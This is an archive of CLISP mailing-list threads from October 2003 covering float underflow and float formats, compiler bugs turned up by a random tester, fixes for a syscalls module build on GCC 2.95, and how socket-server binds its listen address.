>   *** - floating point underflow
>   1. Break [4]> 
>   [5]> (ext:without-package-lock ("SYSTEM")
>     (setf system::*inhibit-floating-point-underflow* t))
>   T

see <http://clisp.cons.org/impnotes/num-dict.html#no-underflow>

>   [6]> least-positive-short-float
>   2.93874s-39
>   [7]> (coerce * 'single-float)
>   0.0

I am confused.
I have no idea what is going on.

(/ (float least-positive-short-float 1d0)
   (float least-positive-single-float 1d0))
==> 0.25

(/ (float most-positive-short-float 1d0)
   (float most-positive-single-float 1d0))
==> 0.5

(/ (float short-float-epsilon 1d0) (float single-float-epsilon 1d0))
==> 128

this means that even though short floats have 7 fewer bits of
precision, they manage to cover _more_ of the real line (twice as much)!

how could this be?

I hope Bruno will bring clarity here...

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * Christophe Rhodes <pfe21@pnz.np.hx> [2003-10-22 17:19:01 +0100]:
    >> 
    >> The following demonstrates, if not an outright bug, at least a
    >> suboptimality in float coercion.  I understand where it's coming from,
    >> I guess, but it's quite undesireable to get 0.0 out at the end... is
    >> there any chance of this being fixed to "do what I mean"?

    Sam> You are trying to coerce to SINGLE-FLOAT a number which is smaller than
    Sam> LEAST-POSITIVE-SINGLE-FLOAT.  This means underflow, right?

Yes, I think so.

I notice that least-positive-single-float and
least-positive-normalized-single-float are the same value, and
corresponds to the normalized value on IEEE FP.  Is that intended?
You don't support unnormalized floats?

Ray



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Raymond Toy wrote:
> I notice that least-positive-single-float and
> least-positive-normalized-single-float are the same value, and
> corresponds to the normalized value on IEEE FP.  Is that intended?
> You don't support unnormalized floats?

Right. CLISP by design returns the same floating point results on all
platforms (to reduce portability problems). Therefore it has a floating-point
emulation built in for platforms that don't support IEEE FP. And I
didn't spend time on unnormalized floats and various types of NaNs that
are not generally useful:
  - When you got a NaN in your program, your program is broken. As a
    developer, one then ususally spends time determining where the
    NaN came from. It's better to signal an error in this case.
  - When you got unnormalized floats in your program, your results will
    have a greatly reduced accuracy anyway. Since clisp has the means
    to cope with this - LONG-FLOATs of variable precision - it doesn't
    need to support unnormalized floats.

Bruno



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Sam Steingold wrote:
> (/ (float least-positive-short-float 1d0)
>    (float least-positive-single-float 1d0))
> ==> 0.25
>
> (/ (float most-positive-short-float 1d0)
>    (float most-positive-single-float 1d0))
> ==> 0.5
>
> (/ (float short-float-epsilon 1d0) (float single-float-epsilon 1d0))
> ==> 128
>
> this means that even though short floats have 7 fewer bits of
> precision, they manage to cover _more_ of the real line (twice as much)!
>
> how could this be?

The SINGLE-FLOAT in-memory format in clisp follows IEEE 754, which reserves
one particular exponent value for Infinitys and NaNs. Since clisp doesn't
support these beasts, neither in SINGLE-FLOAT nor in SHORT-FLOAT, it
means that one of the 255 possible exponents in the SINGLE-FLOAT format
is wasted. The SHORT-FLOAT format is specific to clisp, not adhering to
any standard, and therefore doesn't need to waste one of the 255 possible
exponents.

Bruno



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Sam Steingold <sds@gnu.org> writes:

>> * Christophe Rhodes <pfe21@pnz.np.hx> [2003-10-22 17:19:01 +0100]:
>>
>> The following demonstrates, if not an outright bug, at least a
>> suboptimality in float coercion.  I understand where it's coming from,
>> I guess, but it's quite undesireable to get 0.0 out at the end... is
>> there any chance of this being fixed to "do what I mean"?
>
> You are trying to coerce to SINGLE-FLOAT a number which is smaller than
> LEAST-POSITIVE-SINGLE-FLOAT.  This means underflow, right?

I'm so sorry -- I completely missed this.  You're quite right, in pure
Common Lisp terms.

I was expecting that least-positive-single-float would be the IEEE
value for the least positive single float, not just the least positive
normalized single float, but there's no reason that that should be the
case.  (I don't know why you'd do it this way, but I'm perfectly
willing to believe that there are legitimate reasons for doing so :-).

Cheers,

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using two different clisp processes I do this:

clisp 1                clisp 2
open file for append
                       open same file for read
write to file
                       read file until I get eof (before new data)
close file

At this point I might hope to do another read in clisp 2 but I
still get eof.  However, if I set file-position back one then
I can read not only the last old character but also the new
data.
This was with buffered character file streams, though I don't
know whether that matters.

Anyone know (or have opinions on) how this stuff ought to work?


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There is a piece of software call SWIG http://www.swig.org which
apparently allows people to easily port C++ code to lots of
object oriented (and non-OO) languages.  I was disapointed to find
that lisp is not in the list of supported languages.  Why not?

I'm currently getting more and more involved in a openAccess
www.openeda.org which provides an open source implementation
of a data base that will soon become the industry standard
for EDA work.  The C++ API is ready to use, and people are
writing interfaces to lots of languages: Python, Ruby, Tcl.

I'd love to see CLISP on the list of supported languages for
openAccess, as I believe the CLOS system to be much nicer
and more powerful than the object system provided by Java
and Python, not to mention more performant.

Is there any interest currently in providing CLISP
support for SWIG?  or for openAccess for that matter?

thanks.  ( i hope your respond)

-jim



Sam Steingold wrote:
> Hi Jim,
> 
> 
>>I found your name on the www.clisp.org page.  I wonder if you might be
>>able to answer a few questions for me.
> 
> 
> <clisp-list> is the right place to ask these questions.
> 
> 
>>There is a piece of software call SWIG http://www.swig.org which
>>apparently allows people to easily port C++ code to lots of object
>>oriented (and non-OO) languages.  I was disapointed to find that lisp
>>is not in the list of supported languages.  Why not?
> 
> 
> <https://sourceforge.net/tracker/?func=detail&aid=429122&group_id=1645&atid=351645>
> please go ahead and add CLISP support - it should not be too hard, just
> a matter of some time investment.
> 




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Date: Sun Oct 26 04:06:11 2003
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The gcl random tester has found the following compiler bug
in clisp (cvs head, built 1 Oct 2003).  The test case has been
automatically simplified.

[1]> (funcall
    (compile nil
             '(lambda (a c)
                (if (or (ldb-test (byte 12 18) a)
                        (not (and t (not (if (not (and c t)) nil nil)))))
                    170 -110730)))
    3035465333 1919088834)

- Compiler bug!! Occurred in OPTIMIZE-LABEL.
*** 1. Break [2]> backtrace

<1> #<SYSTEM-FUNCTION SHOW-STACK>
<2> #<COMPILED-CLOSURE SYSTEM::DEBUG-BACKTRACE>
<3> #<SYSTEM-FUNCTION SYSTEM::READ-EVAL-PRINT>
<4> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP-2-1>
<5> #<SYSTEM-FUNCTION SYSTEM::SAME-ENV-AS>
<6> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP-2>
<7> #<SYSTEM-FUNCTION SYSTEM::DRIVER>
<8> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP>
<9> #<SYSTEM-FUNCTION INVOKE-DEBUGGER>
<10> #<SYSTEM-FUNCTION ERROR> 2
<11> #<COMPILED-CLOSURE SYSTEM::COMPILER-ERROR>
<12> #<COMPILED-CLOSURE SYSTEM::OPTIMIZE-LABEL>
<13> #<COMPILED-CLOSURE SYSTEM::OPTIMIZE-SHORT>
<14> #<COMPILED-CLOSURE SYSTEM::OPTIMIZE-VALUE>
<15> #<COMPILED-CLOSURE SYSTEM::OPTIMIZE-SHORT>
<16> #<COMPILED-CLOSURE SYSTEM::OPTIMIZE-JMPCASE>
<17> #<COMPILED-CLOSURE SYSTEM::OPTIMIZE-SHORT>
<18> #<COMPILED-CLOSURE SYSTEM::OPTIMIZE-ALL>
<19> #<COMPILED-CLOSURE SYSTEM::COMPILE-TO-LAP>
<20> #<COMPILED-CLOSURE SYSTEM::PASS2>
<21> #<COMPILED-CLOSURE SYSTEM::COMPILE-LAMBDABODY>
<22> #<COMPILED-CLOSURE COMPILE>
EVAL frame for form
(FUNCALL
  (COMPILE NIL
   '(LAMBDA (A C) (IF (OR (LDB-TEST (BYTE 12 18) A) (NOT (AND T (NOT (IF (NOT (AND C T)) NIL NIL))))) 170 -110730)))
  3035465333 1919088834)
Printed 22 frames
1. Break [2]>


	Paul




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Another bug detected by the gcl random tester.  I've modified
the random lambda form generator to increase the probability of
producing AND, OR, NOT, and IF forms in places where true/false
values are wanted.  This test case appeared after only
about 15K iterations, much faster than the previous MTBF of
about 3M tests.

This test has been simplified.

[4]>  (compile nil
             '(lambda (a b)
                (unwind-protect
                    (block b2
                      (flet ((%f1 nil b))
                        (logior (if a (if (ldb-test (byte 23 1) 253966182) (return-from b2 a) -103275090) 62410)
                                (if (not (not (if (not nil) t (ldb-test (byte 2 27) 253671809))))
                                    (return-from b2 -22)
                                  (%f1)
                                  )))))))

*** - CAR: #:G335 is not a LIST
1. Break [5]> backtrace

<1> #<SYSTEM-FUNCTION SHOW-STACK>
<2> #<COMPILED-CLOSURE SYSTEM::DEBUG-BACKTRACE>
<3> #<SYSTEM-FUNCTION SYSTEM::READ-EVAL-PRINT>
<4> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP-2-1>
<5> #<SYSTEM-FUNCTION SYSTEM::SAME-ENV-AS>
<6> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP-2>
<7> #<SYSTEM-FUNCTION SYSTEM::DRIVER>
<8> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP>
<9> #<SYSTEM-FUNCTION INVOKE-DEBUGGER>
<10> #<SYSTEM-FUNCTION CAR>
<11> #<COMPILED-CLOSURE SYSTEM::SIMPLIFY>
<12> #<COMPILED-CLOSURE SYSTEM::OPTIMIZE-PART>
<13> #<COMPILED-CLOSURE SYSTEM::COALESCE-1>
<14> #<SYSTEM-FUNCTION MAPHASH>
<15> #<COMPILED-CLOSURE SYSTEM::COALESCE>
<16> #<COMPILED-CLOSURE SYSTEM::OPTIMIZE-ALL>
<17> #<COMPILED-CLOSURE SYSTEM::COMPILE-TO-LAP>
<18> #<COMPILED-CLOSURE SYSTEM::PASS2>
<19> #<COMPILED-CLOSURE SYSTEM::COMPILE-LAMBDABODY>
<20> #<COMPILED-CLOSURE COMPILE>
Printed 20 frames

	Paul




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I'm trying to compile a clisp with the syscalls module, so I can use
posix:stream-lock instead of the gross hack I currently use, but
compiling 2.31 on Linux/x86 dies.  I must be doing something wrong,
because I'd imagine this would be the most tested platform.

It dies here:

  myclient@work-machine:/tmp/build/clisp-2.31 > uname -a
  Linux work-machine 2.4.4-64GB-SMP #1 SMP Fri May 18 14:54:08 GMT 2001 i686 unknown
  myclient@work-machine:/tmp/build/clisp-2.31 > gcc --version
  2.95.3
  myclient@work-machine:/tmp/build/clisp-2.31 > ./configure --prefix="/home/myclient/clisp-2.31" --with-module=syscalls --with-export-syscalls --build build-myclient

...

  calls.c: In function `C_subr_posix_file_stat':
  calls.c:553: parse error before `file'
  calls.c:556: `file' undeclared (first use in this function)
  calls.c:556: (Each undeclared identifier is reported only once
  calls.c:556: for each function it appears in.)
  calls.c:557: warning: left-hand operand of comma expression has no effect
  calls.c:561: `buf' undeclared (first use in this function)
  calls.c:578: warning: left-hand operand of comma expression has no effect
  make[1]: *** [calls.o] Error 1
  make[1]: Leaving directory `/tmp/build/clisp-2.31/build-myclient/syscalls'
  make: *** [syscalls] Error 2

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> * Thomas F. Burdick <gso@BPS.Orexryrl.RQH> [2003-10-27 17:19:25 -0800]:
>
> I'm trying to compile a clisp with the syscalls module, so I can use
> posix:stream-lock instead of the gross hack I currently use, but
> compiling 2.31 on Linux/x86 dies.  I must be doing something wrong,
> because I'd imagine this would be the most tested platform.

indeed...

>   calls.c: In function `C_subr_posix_file_stat':
>   calls.c:553: parse error before `file'
>   calls.c:556: `file' undeclared (first use in this function)
>   calls.c:556: (Each undeclared identifier is reported only once
>   calls.c:556: for each function it appears in.)
>   calls.c:557: warning: left-hand operand of comma expression has no effect
>   calls.c:561: `buf' undeclared (first use in this function)
>   calls.c:578: warning: left-hand operand of comma expression has no effect
>   make[1]: *** [calls.o] Error 1
>   make[1]: Leaving directory `/tmp/build/clisp-2.31/build-myclient/syscalls'
>   make: *** [syscalls] Error 2

I bet your GCC is not 3 (i.e., not C99).
Sorry.
Please try the appended patch.


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--- calls.c.~1.12.~	2003-10-02 10:40:04.050878700 -0400
+++ calls.c	2003-10-28 07:54:28.967264600 -0500
@@ -549,8 +549,8 @@
 { /* Lisp interface to stat(2), lstat(2) and fstat(2)
  the first arg can be: file stream, pathname, string, symbol, number.
  the return value is the FILE-STAT structure */
-  bool link_p = missingp(STACK_0); skipSTACK(1);
-  object file = popSTACK();
+  bool link_p = missingp(STACK_0);
+  object file = (skipSTACK(1), popSTACK());
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Is there a way to create a socket stream bound to a particular IP
address?  I recall that I thought it was a big improvement when it
became possible to create one that was not, but now I'd like to be
able to use multiple addresses on the same machine for different
servers.

Also I notice in impnotes:

 (SOCKET:SOCKET-SERVER-HOST socket-server)
 (SOCKET:SOCKET-SERVER-PORT socket-server)

      Returns the host mask indicating which hosts can connect to this
 server and the port which was bound using SOCKET:SOCKET-SERVER. 

Is that correct?  I thought this was the local ip address, not remote.

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solution would be to make these functions setf-able ?


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 > Is there a way to create a socket stream bound to a particular IP
 > address?

Doesn't appear to be.  I checked the source (socket.d) and it looks
like the creation of a socket by default listens on all configured
addresses on the server (i.e., uses the mask "0.0.0.0").

 > I recall that I thought it was a big improvement when it became
 > possible to create one that was not, but now I'd like to be able to
 > use multiple addresses on the same machine for different servers.

To do that it would be necessary to extend the CLISP socket interface
to allow the specification of the listen address expcitly as part of
the creation of the server socket.  This is part of the info that gets
passed to the bind() system call.  This "address" is not a host
address but rather a "mask" with 0 as a wildcard, e.g.  0.0.0.0
matches everything, while 10.100.123.143 will match that exact IP and
have the effect of listening only on that IP.

The source in socket.d seems to treat the listen mask as a "hostname"
that can be resolved but that is not who things work w/ the IP address
on the server side; it is more the "mask" that gets matched vs. the
destination address someing from the connecting client.

 > Returns the host mask indicating which hosts can connect to this
 > server and the port which was bound using SOCKET:SOCKET-SERVER. 

Seems like for a server-side socket it should return the "mask"
above.  To call this "which hosts can connect" is inaccurate;
rather it should be described as "which local IP addresse(s)
can be connected to."

 > Is that correct?  I thought this was the local ip address, not
 > remote.

It is a mask that matches one or more local IP addresses.

 > I've not looked up the underlying c mechanisms,

The listen-mask and listen port are tightly coupled info and should be
specified together.  They are part of the "C" structure "struct
sockaddr" which contains members for the address and port.  This
struct serves both the client and server cases, but the address part
means different things in each case: for client it means the host/IP
and port to connect to; for the server it means the "listen-mask" and
port to listen on.

This structure is associated w/ the "C" socket for a server by the
system call bind().

Generally to make a TCP connection the calls are:

Server:  socket() ... bind(address-mask/port) ... listen() ... accept()
Client:  socket() ... connect(hostname-or-address/port)

 > perhaps one solution would be to make these functions setf-able ?

Probably not appropriate given that you cannot generally change the
listen-addresses and port once a socket is created and listening.  It
should just be set at creation time and not changed thereafter (but
should be allowed to be examined).

Hope this helps.  It's been a while since I did TCP programming but I
think this is mostly accurate.

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> * Don Cohen <qba-fbheprsbetr@vfvf.pf3-vap.pbz> [2003-10-28 09:36:26 -0800]:
>
> Is there a way to create a socket stream bound to a particular IP
> address?  I recall that I thought it was a big improvement when it
> became possible to create one that was not, but now I'd like to be
> able to use multiple addresses on the same machine for different
> servers.
>
> Also I notice in impnotes:
>
>  (SOCKET:SOCKET-SERVER-HOST socket-server)
>  (SOCKET:SOCKET-SERVER-PORT socket-server)
>
>       Returns the host mask indicating which hosts can connect to this
>  server and the port which was bound using SOCKET:SOCKET-SERVER. 
>
> Is that correct?  I thought this was the local ip address, not remote.

it's a mask for remote hosts.
see stream.d:SOCKET-SERVER and socket.d:create_server_socket.

> I've not looked up the underlying c mechanisms, but perhaps one
> solution would be to make these functions setf-able ?

too much trouble. it will amount to closing an existing socket server
and creating a new one.  all it will save is a lisp object allocation
which is cheap (you aren't creating zillions of those, right?)

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John K. Hinsdale writes:
 > To do that it would be necessary to extend the CLISP socket interface
 > to allow the specification of the listen address expcitly as part of
 > the creation of the server socket.  This is part of the info that gets
 > passed to the bind() system call.  This "address" is not a host
 > address but rather a "mask" with 0 as a wildcard, e.g.  0.0.0.0
 > matches everything, while 10.100.123.143 will match that exact IP and
 > have the effect of listening only on that IP.
That leaves me wondering about what's in between.
I suppose 10.100.123.0 means any last byte, but one might hope for
more control.  Like address/30 or even separate 32 bit address and mask.
Still, even the two extremes would be very useful.

 >  > Is that correct?  I thought this was the local ip address, not
 >  > remote.
 > It is a mask that matches one or more local IP addresses.
ok, so request #1 is a fix to documentation
Of course, it won't make much difference if there's no way to
control the value.

So request #2 is that socket-server should accept this as an argument.
(I see the reply coming: "great idea, please submit the patch".
 I'm only hoping as usual that someone else gets there before me.)

 > The listen-mask and listen port are tightly coupled info and should be
 > specified together.  
I don't see how they're tightly coupled.  I gather you can't change
either of them after creation?  Is there a way to listen on multiple
ports?


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> * John K. Hinsdale <uva@nyzn.pbz> [2003-10-28 13:12:44 -0500]:
>
>  > I recall that I thought it was a big improvement when it became
>  > possible to create one that was not, but now I'd like to be able to
>  > use multiple addresses on the same machine for different servers.
>
> To do that it would be necessary to extend the CLISP socket interface
> to allow the specification of the listen address expcitly as part of
> the creation of the server socket.

the argument to SOCKET-SERVER can be an existing SOCKET-STREAM, in
which case the peer address of that SOCKET-STREAM will be the only
address from which this SOCKET-SERVER can accept connections.

I am not sure about the reasons for this dichotomy (either port or mask
but not both; either mask 0.0.0.0 or a single IP).

I think it would be a good idea to add a second optional argument to
act as a mask (I am not sure what type that should be - a dotted quad
string? a bit vector? a byte array? a uint32?  what about ipv6?), i.e.:

      (socket-server port mask)

backwards compatibolity requires supporting

      (socket-server socket-stream)

maybe we also need

      (socket-server port socket-stream)

what about

      (socket-server socket-stream mask)

this would apply mask to the socket-stream-peer-host.

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Thomas F. Burdick writes:
 > I'm trying to compile a clisp with the syscalls module, so I can use
 > posix:stream-lock instead of the gross hack I currently use,

Hmm, when I built clisp with the following command line:

  ./configure --prefix="/home/myclient/clisp-2.31" --with-module=syscalls --with-export-syscalls --build build-myclient

and I load the resulting CLISP, I don't see the syscalls module, nor a
POSIX package.

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Date: Tue Oct 28 15:29:31 2003
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Sam Steingold writes:
 > > * Thomas F. Burdick <gso@BPS.Orexryrl.RQH> [2003-10-27 17:19:25 -0800]:
 > >
 > > I'm trying to compile a clisp with the syscalls module, so I can use
 > > posix:stream-lock instead of the gross hack I currently use, but
 > > compiling 2.31 on Linux/x86 dies.  I must be doing something wrong,
 > > because I'd imagine this would be the most tested platform.
 > 
 > indeed...
 > 
 > >   calls.c: In function `C_subr_posix_file_stat':
 > >   calls.c:553: parse error before `file'
 > >   calls.c:556: `file' undeclared (first use in this function)
 > >   calls.c:556: (Each undeclared identifier is reported only once
 > >   calls.c:556: for each function it appears in.)
 > >   calls.c:557: warning: left-hand operand of comma expression has no effect
 > >   calls.c:561: `buf' undeclared (first use in this function)
 > >   calls.c:578: warning: left-hand operand of comma expression has no effect
 > >   make[1]: *** [calls.o] Error 1
 > >   make[1]: Leaving directory `/tmp/build/clisp-2.31/build-myclient/syscalls'
 > >   make: *** [syscalls] Error 2
 > 
 > I bet your GCC is not 3 (i.e., not C99).

Nope, it's 2.95

 > Sorry.
 > Please try the appended patch.

Thanks, that almost does it.  After applying that patch, the compiler
complained that clisp.h was declaring a global variable after a
function definition, when it was included from calls.c.  With the
appended patch, it compiles all the way, and the produced clisp seems
to kind-of work.

Actually, it dies in "make testsuite" with a segfault on this test:
(LET ((H (MAKE-HASH-TABLE :TEST `(,(LAMBDA (A B) (LIST (LIST '= A B)) (= A B)) . ,(LAMBDA (X) (LET ((Z (SXHASH (COERCE X 'DOUBLE-FLOAT)))) (LIST `((HASH ,X) => ,Z)) Z)))))) (LOOP :FOR I :FROM 0 :TO 1000 :DO (SETF (GETHASH I H) (FORMAT NIL "~r" I))) (LOOP :FOR I :FROM 0 :TO 1000 :UNLESS (STRING= (GETHASH (FLOAT I 1.0d0) H) (GETHASH (FLOAT I 1.0s0) H)) :COLLECT I)) make[1]: *** [tests] Segmentation fault

The non-syscalls build fails here, cleanly:
(IF *NO-ICONV-P* "AZ" (CONVERT-STRING-FROM-BYTES '#(255 254 65 0 13) (MAKE-ENCODING :CHARSET "utf-16" :INPUT-ERROR-ACTION #\Z))) 
ERROR!! "
*** - Character #\uFEFF cannot be represented in the character set CHARSET:ISO-8859-1

I'm a little uncomfortable with the resulting build, but I'll try
testing the actual application with it.

--- syscalls/calls-orig.c       Tue Oct 28 09:42:18 2003
+++ syscalls/calls.c    Tue Oct 28 09:42:46 2003
@@ -5,6 +5,7 @@
  */
 
 #include "config.h"
+#include "clisp.h"
 
 #if defined(TIME_WITH_SYS_TIME)
 # include <sys/time.h>
@@ -39,8 +40,6 @@
 # define UNIX_CYGWIN32
 # undef UNICODE
 #endif
-
-#include "clisp.h"
 
 /* #define DEBUG */
 #if defined(DEBUG)

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	compiling 2.31 on Linux/x86 dies. I must be doing something wrong, > >
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	indeed... > > > calls.c: In function `C_subr_posix_file_stat': > >
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Sam Steingold writes:
 > > * Thomas F. Burdick <gso@BPS.Orexryrl.RQH> [2003-10-27 17:19:25 -0800]:
 > >
 > > I'm trying to compile a clisp with the syscalls module, so I can use
 > > posix:stream-lock instead of the gross hack I currently use, but
 > > compiling 2.31 on Linux/x86 dies.  I must be doing something wrong,
 > > because I'd imagine this would be the most tested platform.
 > 
 > indeed...
 > 
 > >   calls.c: In function `C_subr_posix_file_stat':
 > >   calls.c:553: parse error before `file'
 > >   calls.c:556: `file' undeclared (first use in this function)
 > >   calls.c:556: (Each undeclared identifier is reported only once
 > >   calls.c:556: for each function it appears in.)
 > >   calls.c:557: warning: left-hand operand of comma expression has no effect
 > >   calls.c:561: `buf' undeclared (first use in this function)
 > >   calls.c:578: warning: left-hand operand of comma expression has no effect
 > >   make[1]: *** [calls.o] Error 1
 > >   make[1]: Leaving directory `/tmp/build/clisp-2.31/build-myclient/syscalls'
 > >   make: *** [syscalls] Error 2
 > 
 > I bet your GCC is not 3 (i.e., not C99).

Nope, it's 2.95

 > Sorry.
 > Please try the appended patch.

Thanks, that almost does it.  After applying that patch, the compiler
complained that clisp.h was declaring a global variable after a
function definition, when it was included from calls.c.  With the
appended patch, it compiles all the way, and the produced clisp seems
to kind-of work.

Actually, it dies in "make testsuite" with a segfault on this test:
(LET ((H (MAKE-HASH-TABLE :TEST `(,(LAMBDA (A B) (LIST (LIST '= A B)) (= A B)) . ,(LAMBDA (X) (LET ((Z (SXHASH (COERCE X 'DOUBLE-FLOAT)))) (LIST `((HASH ,X) => ,Z)) Z)))))) (LOOP :FOR I :FROM 0 :TO 1000 :DO (SETF (GETHASH I H) (FORMAT NIL "~r" I))) (LOOP :FOR I :FROM 0 :TO 1000 :UNLESS (STRING= (GETHASH (FLOAT I 1.0d0) H) (GETHASH (FLOAT I 1.0s0) H)) :COLLECT I)) make[1]: *** [tests] Segmentation fault

The non-syscalls build fails here, cleanly:
(IF *NO-ICONV-P* "AZ" (CONVERT-STRING-FROM-BYTES '#(255 254 65 0 13) (MAKE-ENCODING :CHARSET "utf-16" :INPUT-ERROR-ACTION #\Z))) 
ERROR!! "
*** - Character #\uFEFF cannot be represented in the character set CHARSET:ISO-8859-1

I'm a little uncomfortable with the resulting build, but I'll try
testing the actual application with it.

--- syscalls/calls-orig.c       Tue Oct 28 09:42:18 2003
+++ syscalls/calls.c    Tue Oct 28 09:42:46 2003
@@ -5,6 +5,7 @@
  */
 
 #include "config.h"
+#include "clisp.h"
 
 #if defined(TIME_WITH_SYS_TIME)
 # include <sys/time.h>
@@ -39,8 +40,6 @@
 # define UNIX_CYGWIN32
 # undef UNICODE
 #endif
-
-#include "clisp.h"
 
 /* #define DEBUG */
 #if defined(DEBUG)

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 > >  (SOCKET:SOCKET-SERVER-HOST socket-server)
 > >  (SOCKET:SOCKET-SERVER-PORT socket-server)
 > >
 > >       Returns the host mask indicating which hosts can connect to this
 > >  server and the port which was bound using SOCKET:SOCKET-SERVER. 
 > >
 > > Is that correct?  I thought this was the local ip address, not remote.
 > 
 > it's a mask for remote hosts.
 > see stream.d:SOCKET-SERVER and socket.d:create_server_socket.

The comments there seem to suggest that this is related to remote
hosts, but what I see in man (wandering through ip(7), bind(2),
packet(7), socket) leads me to believe, as I thought before, that it's
the local address.
This also says, if I read it correctly, that there's nothing between
0.0.0.0 and a single address, i.e., no /24's.

So what I'd like is an optional IP address.  My understanding is that
on a machine with multiple IP addresses you can listen on one or on
all.  Sometimes you want one and sometimes the other.
So far I don't see how to do that with the optional socket argument,
since that could only have been created the same way, giving an IP
address of 0.0.0.0, right?

 > the argument to SOCKET-SERVER can be an existing SOCKET-STREAM, in
 > which case the peer address of that SOCKET-STREAM will be the only
 > address from which this SOCKET-SERVER can accept connections.

This seems to suggest (again) that the address is the remote IP.
I think it's the address of the LOCAL machine.
If I have two IP addresses I want to use ONE of them for this socket
so I can still use the other for another one on the same port, for
instance if I want to run two different web servers with my two
different IP addresses.

 > I am not sure about the reasons for this dichotomy (either port or mask
 > but not both; either mask 0.0.0.0 or a single IP).

The man pages suggest 0.0.0.0 is not a mask but a special case
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> * Thomas F. Burdick <gso@BPS.Orexryrl.RQH> [2003-10-28 10:43:46 -0800]:
>
> Thomas F. Burdick writes:
>  > I'm trying to compile a clisp with the syscalls module, so I can use
>  > posix:stream-lock instead of the gross hack I currently use,
>
> Hmm, when I built clisp with the following command line:
>
>   ./configure --prefix="/home/myclient/clisp-2.31" --with-module=syscalls --with-export-syscalls --build build-myclient
>
> and I load the resulting CLISP, I don't see the syscalls module, nor a
> POSIX package.

--with-export-syscalls is obsolete and ignored.

to use syscalls, you need to run the "full" linking set:

clisp -K full

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> * Thomas F. Burdick <gso@BPS.Orexryrl.RQH> [2003-10-28 16:23:55 -0800]:
>
> Thanks, that almost does it.  After applying that patch, the compiler
> complained that clisp.h was declaring a global variable after a
> function definition, when it was included from calls.c.  With the
> appended patch, it compiles all the way, and the produced clisp seems
> to kind-of work.

what is the function?
what is the variable?

> Actually, it dies in "make testsuite" with a segfault on this test:
> (LET ((H (MAKE-HASH-TABLE :TEST `(,(LAMBDA (A B) (LIST (LIST '= A B)) (= A B)) . ,(LAMBDA (X) (LET ((Z (SXHASH (COERCE X 'DOUBLE-FLOAT)))) (LIST `((HASH ,X) => ,Z)) Z)))))) (LOOP :FOR I :FROM 0 :TO 1000 :DO (SETF (GETHASH I H) (FORMAT NIL "~r" I))) (LOOP :FOR I :FROM 0 :TO 1000 :UNLESS (STRING= (GETHASH (FLOAT I 1.0d0) H) (GETHASH (FLOAT I 1.0s0) H)) :COLLECT I)) make[1]: *** [tests] Segmentation fault

ignore.

> The non-syscalls build fails here, cleanly:
> (IF *NO-ICONV-P* "AZ" (CONVERT-STRING-FROM-BYTES '#(255 254 65 0 13) (MAKE-ENCODING :CHARSET "utf-16" :INPUT-ERROR-ACTION #\Z))) 
> ERROR!! "
> *** - Character #\uFEFF cannot be represented in the character set CHARSET:ISO-8859-1

please try the appended patch for tests/Makefile

> I'm a little uncomfortable with the resulting build, but I'll try
> testing the actual application with it.
>
> --- syscalls/calls-orig.c       Tue Oct 28 09:42:18 2003
> +++ syscalls/calls.c    Tue Oct 28 09:42:46 2003
> @@ -5,6 +5,7 @@
>   */
>  
>  #include "config.h"
> +#include "clisp.h"
>  
>  #if defined(TIME_WITH_SYS_TIME)
>  # include <sys/time.h>
> @@ -39,8 +40,6 @@
>  # define UNIX_CYGWIN32
>  # undef UNICODE
>  #endif
> -
> -#include "clisp.h"
>  
>  /* #define DEBUG */
>  #if defined(DEBUG)

"clisp.h" has to be included after UNIX_CYGWIN32 has been defined and
UNICODE undefined.

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--- Makefile.~1.12.~	2003-10-09 18:17:30.116326800 -0400
+++ Makefile	2003-10-29 09:02:34.735080300 -0500
@@ -6,7 +6,7 @@
 # executable extension (.exe on win32, .run everywhere else)
 LEXE=.run
 
-LISP=$(BD)/lisp$(LEXE) -norc -B $(BD) -M $(BD)/lispinit.mem
+LISP=$(BD)/lisp$(LEXE) -E utf-8 -norc -B $(BD) -M $(BD)/lispinit.mem
 # LISP=../clisp -norc
 # LISP=clisp -norc
 



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 >
 > the argument to SOCKET-SERVER can be an existing SOCKET-STREAM, in
 > which case the peer address of that SOCKET-STREAM will be the only
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 >
 > I am not sure about the reasons for this dichotomy (either port or mask
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There probably isn't a good reason.  SOCKET-SERVER should simply allow
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Yes

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Dotted quad string probably easiest for most users.

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> * John K. Hinsdale <uva@nyzn.pbz> [2003-10-30 07:23:10 -0500]:
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>  > maybe we also need
>  >       (socket-server port socket-stream)
>  > what about
>  >       (socket-server socket-stream mask)
>
> I'm having trouble imagining a user for either of these.  Usually. you
> just want to say listen on this port, on these address(es) and that's
> that.

(socket-server port socket-stream)

means listen on port for connections from the peer of socket-stream.
is this a reasonable request?
(I think FTP does something like this)

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 > (socket-server port socket-stream)
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The peer of socket-stream is a remote host; I don't know that it's
possible to listen for connections from a particular remote host.
When you listen you specify the port and the LOCAL addresses,
connections to can be accepted.

So I don't know that this usage makes sense.

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> * John K. Hinsdale <uva@nyzn.pbz> [2003-10-30 09:20:27 -0500]:
>
>  > [Sam Steingold
>  > 
>  > (socket-server port socket-stream)
>  > 
>  > means listen on port for connections from the peer of socket-stream.
>  > is this a reasonable request?
>  > (I think FTP does something like this)
>
> The peer of socket-stream is a remote host; I don't know that it's
> possible to listen for connections from a particular remote host.
> When you listen you specify the port and the LOCAL addresses,
> connections to can be accepted.

you must be right.


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CL-TEST[51]> (compile
     nil
     '(lambda ()
        (labels ((%f10 (f10-1 &optional
                          (f10-2 (handler-bind nil 878))
                          (f10-3 (handler-case 10)))
                    -15))
            (%f10 -144))))


*** - SYMBOL-VALUE: 1 is not a SYMBOL
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead.

1. Break CL-TEST[52]> backtrace

<1> #<SYSTEM-FUNCTION EXT:SHOW-STACK>
<2> #<COMPILED-CLOSURE SYSTEM::DEBUG-BACKTRACE>
<3> #<SYSTEM-FUNCTION SYSTEM::READ-EVAL-PRINT>
<4> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP-2-1>
<5> #<SYSTEM-FUNCTION SYSTEM::SAME-ENV-AS>
<6> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP-2>
<7> #<SYSTEM-FUNCTION SYSTEM::DRIVER>
<8> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP>
